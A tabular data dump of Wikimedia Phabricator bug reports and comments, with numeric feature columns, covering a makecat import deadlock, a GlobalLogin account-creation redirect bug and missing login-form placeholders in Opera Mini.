**Severity**: major",High,80.0,1408533120,1433586605.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-am4fb4bq6udsbq2kbgva,task_description,resolved,True,c3,1,True,True,True,-46,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,3.8771929824561404,0.7192982456140351,"makecat has its main loop at the module level, rather than in a function main() like other scripts.

This causes a deadlock in handleArgs while trying to fetch the live API version.

--------------------------
**Version**: core-(2.0)
**Severity**: major"
470262,"makecat uses http on import, causing deadlock","Change 216407 merged by jenkins-bot:
Deadlock problem fixed by using requests

[[https://gerrit.wikimedia.org/r/216407]]",,,1433595926,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-am4fb4bq6udsbq2kbgva,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,4.0,0.8571428571428571,"Change 216407 merged by jenkins-bot:
Deadlock problem fixed by using requests

[[GERRIT_URL]]"
470242,"makecat uses http on import, causing deadlock","The problem was the sequence of actions used to set up the threads and such. @valhallasw had a very nice graph of the `import` sequence which shows how the deadlock occurs, which I stumble across occasionally but can never find when I want it. :/

Putting code in main() means all imports complete before __main__ starts. ",,,1433589326,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-am4fb4bq6udsbq2kbgva,task_subcomment,,True,c3,1,True,,,-4,True,1.0,0.0,1.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,10.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,7.0,4.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,9.0,1.0,9.0,3.0,3.0,13.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,10.0,1.0,0.0,0.0,0.0,4.0,0.0,6.0,1.0,0.0,1.0,0.0,0.0,0.0,3.925373134328358,0.8059701492537313,"The problem was the sequence of actions used to set up the threads and such.SCREEN_NAME had a very nice graph of the CODE sequence which shows how the deadlock occurs, which I stumble across occasionally but can never find when I want it. :/

Putting code in main() means all imports complete before __main__ starts. "
470234,"makecat uses http on import, causing deadlock",How does having it not in main() cause a deadlock?,,,1433586814,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-am4fb4bq6udsbq2kbgva,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,3.1538461538461537,1.0,How does having it not in main() cause a deadlock?
470232,"makecat uses http on import, causing deadlock","The makecat problem has indirectly been fixed by T98439.  The problem still exists on the 2.0 branch, and T87742 tracks the problem occurring in calling code.",,,1433586580,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-am4fb4bq6udsbq2kbgva,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,13.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.433333333333334,0.8333333333333334,"The makecat problem has indirectly been fixed by T98439.  The problem still exists on the 2.0 branch, and T87742 tracks the problem occurring in calling code."
470229,"makecat uses http on import, causing deadlock","Change 216407 had a related patch set uploaded (by John Vandenberg):
Deadlock problem fixed by using requests

[[https://gerrit.wikimedia.org/r/216407]]
",,,1433585595,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-am4fb4bq6udsbq2kbgva,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,4.111111111111111,0.8518518518518519,"Change 216407 had a related patch set uploaded (by John Vandenberg):
Deadlock problem fixed by using requests

[[GERRIT_URL]]
"
310398,"makecat uses http on import, causing deadlock","Change 155231 had a related patch set uploaded by John Vandenberg:
Add main() to makecat

https://gerrit.wikimedia.org/r/155231",,,1408534067,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-am4fb4bq6udsbq2kbgva,task_subcomment,,True,c3,1,False,,,-46,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,1.0,"Change 155231 had a related patch set uploaded by John Vandenberg:
Add main() to makecat

GERRIT_URL"
71199,Create account doesn't work if $wgGLreplaceMWLogin is true,"Comes from: https://www.mediawiki.org/wiki/User_talk:Florianschmidtwelzow#Continous_Redirect

If $wgGLreplaceMWLogin is true the user will be redirected to the Create an account page if he tries to create an account without any error message.

--------------------------
**Version**: master
**Severity**: critical",High,80.0,1407354180,1407354901.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-biuqbdnvxueues3s6zgc,task_description,resolved,True,c3,1,True,False,True,-48,True,2.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,4.0,0.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,12.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0588235294117645,0.7058823529411765,"Comes from: URL

If $wgGLreplaceMWLogin is true the user will be redirected to the Create an account page if he tries to create an account without any error message.

--------------------------
**Version**: master
**Severity**: critical"
319208,Create account doesn't work if $wgGLreplaceMWLogin is true,"Change 152169 merged by jenkins-bot:
Fix no session set when replaceMWLogin is true

https://gerrit.wikimedia.org/r/152169",,,1407354830,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-biuqbdnvxueues3s6zgc,task_subcomment,,True,c3,1,False,,,-48,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.421052631578948,1.0,"Change 152169 merged by jenkins-bot:
Fix no session set when replaceMWLogin is true

GERRIT_URL"
319202,Create account doesn't work if $wgGLreplaceMWLogin is true,"Change 152171 merged by jenkins-bot:
Fix no session set when replaceMWLogin is true

https://gerrit.wikimedia.org/r/152171",,,1407354818,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-biuqbdnvxueues3s6zgc,task_subcomment,,True,c3,1,False,,,-48,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.421052631578948,1.0,"Change 152171 merged by jenkins-bot:
Fix no session set when replaceMWLogin is true

GERRIT_URL"
319194,Create account doesn't work if $wgGLreplaceMWLogin is true,"Change 152171 had a related patch set uploaded by Florianschmidtwelzow:
Fix no session set when replaceMWLogin is true

https://gerrit.wikimedia.org/r/152171",,,1407354731,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-biuqbdnvxueues3s6zgc,task_subcomment,,True,c3,1,False,,,-48,True,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,18.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.181818181818182,0.9545454545454546,"Change 152171 had a related patch set uploaded by Florianschmidtwelzow:
Fix no session set when replaceMWLogin is true

GERRIT_URL"
319187,Create account doesn't work if $wgGLreplaceMWLogin is true,"Change 152169 had a related patch set uploaded by Florianschmidtwelzow:
Fix no session set when replaceMWLogin is true

https://gerrit.wikimedia.org/r/152169",,,1407354706,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-biuqbdnvxueues3s6zgc,task_subcomment,,True,c3,1,False,,,-48,True,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,18.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.181818181818182,0.9545454545454546,"Change 152169 had a related patch set uploaded by Florianschmidtwelzow:
Fix no session set when replaceMWLogin is true

GERRIT_URL"
319180,Create account doesn't work if $wgGLreplaceMWLogin is true,"Change 152167 merged by jenkins-bot:
Fix no session set when replaceMWLogin is true

https://gerrit.wikimedia.org/r/152167",,,1407354697,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-biuqbdnvxueues3s6zgc,task_subcomment,,True,c3,1,False,,,-48,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.421052631578948,1.0,"Change 152167 merged by jenkins-bot:
Fix no session set when replaceMWLogin is true

GERRIT_URL"
319175,Create account doesn't work if $wgGLreplaceMWLogin is true,"Change 152167 had a related patch set uploaded by Florianschmidtwelzow:
Fix no session set when replaceMWLogin is true

https://gerrit.wikimedia.org/r/152167",,,1407354576,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-biuqbdnvxueues3s6zgc,task_subcomment,,True,c3,1,False,,,-48,True,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,18.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.181818181818182,0.9545454545454546,"Change 152167 had a related patch set uploaded by Florianschmidtwelzow:
Fix no session set when replaceMWLogin is true

GERRIT_URL"
70758,No placeholders on account creation or login forms in Opera Mini,"Navigate to Login on Opera Mini browser – you'll see two blank fields that don't indicate where to enter your username or password. From there, navigate to create account and it's even worse – no indication of where to enter username, password, email, or CAPTCHA. Effectively, this makes creating an account impossible, and login also quite difficult.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1406575440,1441323177.0,PHID-USER-yu5wnmvkjecufsjgh2fa,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_description,resolved,True,c3,1,True,False,True,-49,True,0.0,0.0,0.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,8.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,2.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,10.0,2.0,5.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,1.0,0.0,1.0,1.0,0.0,0.0,4.218390804597701,0.6896551724137931,"Navigate to Login on Opera Mini browser – you'll see two blank fields that don't indicate where to enter your username or password. From there, navigate to create account and it's even worse – no indication of where to enter username, password, email, or CAPTCHA. Effectively, this makes creating an account impossible, and login also quite difficult.

--------------------------
**Version**: unspecified
**Severity**: normal"
520740,No placeholders on account creation or login forms in Opera Mini,"Oh wait. I can see placeholders on Opera Mini 7.6.40234 and Opera mini 8
Since the bug doesn't specify a version I'm going to call this closed given that if a browser doesn't support placeholder it m supports media queries

I assume this relates to an older version of Opera Mini which also doesn't support media queries.
Based on the fact IE7 looks like this and considering my comment at https://phabricator.wikimedia.org/T70758#719543 calling this done:
{F2538607}",,,1441323177,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,5.0,1.0,5.0,11.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,10.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,16.0,3.0,2.0,11.0,0.0,0.0,0.0,0.0,8.0,1.0,2.0,0.0,6.0,11.0,7.0,0.0,0.0,0.0,6.0,0.0,1.0,3.0,0.0,3.0,1.0,0.0,1.0,4.011363636363637,0.7272727272727273,"Oh wait. I can see placeholders on Opera Mini 7.6.40234 and Opera mini 8
Since the bug doesn't specify a version I'm going to call this closed given that if a browser doesn't support placeholder it m supports media queries

I assume this relates to an older version of Opera Mini which also doesn't support media queries.
Based on the fact IE7 looks like this and considering my comment at URL calling this done:
{F2538607}"
520731,No placeholders on account creation or login forms in Opera Mini,Annoyingly not quite fixed. On it.,,,1441322272,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,0.875,Annoyingly not quite fixed. On it.
520663,No placeholders on account creation or login forms in Opera Mini,"Change 231146 merged by jenkins-bot:
Use core login form

[[https://gerrit.wikimedia.org/r/231146]]",,,1441316635,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.4210526315789473,0.8947368421052632,"Change 231146 merged by jenkins-bot:
Use core login form

[[GERRIT_URL]]"
520653,No placeholders on account creation or login forms in Opera Mini,"I'm not sure, if the merged change does solve this task, can anyone test? :)",,,1441316178,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,3,True,,,9,True,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,11.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.263157894736842,0.9473684210526315,"I'm not sure, if the merged change does solve this task, can anyone test? :)"
507053,No placeholders on account creation or login forms in Opera Mini,"Change 231146 had a related patch set uploaded (by Jdlrobson):
Use core login form

[[https://gerrit.wikimedia.org/r/231146]]
",,,1439419395,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.625,0.875,"Change 231146 had a related patch set uploaded (by Jdlrobson):
Use core login form

[[GERRIT_URL]]
"
336922,No placeholders on account creation or login forms in Opera Mini,#Mobile-Web,,,1417807792,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,1,True,,,-30,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.75,1.0,#Mobile-Web
311281,No placeholders on account creation or login forms in Opera Mini,New login form in alpha solves this issues. Need to get these changes into stable.,,,1413927848,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9411764705882353,New login form in alpha solves this issues. Need to get these changes into stable.
311273,No placeholders on account creation or login forms in Opera Mini,"Change 165634 merged by jenkins-bot:
Use desktop login/account creation form in alpha

https://gerrit.wikimedia.org/r/165634",,,1413917748,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.35,1.0,"Change 165634 merged by jenkins-bot:
Use desktop login/account creation form in alpha

GERRIT_URL"
311268,No placeholders on account creation or login forms in Opera Mini,"Change 165634 had a related patch set uploaded by Florianschmidtwelzow:
Use desktop login/account creation form in alpha

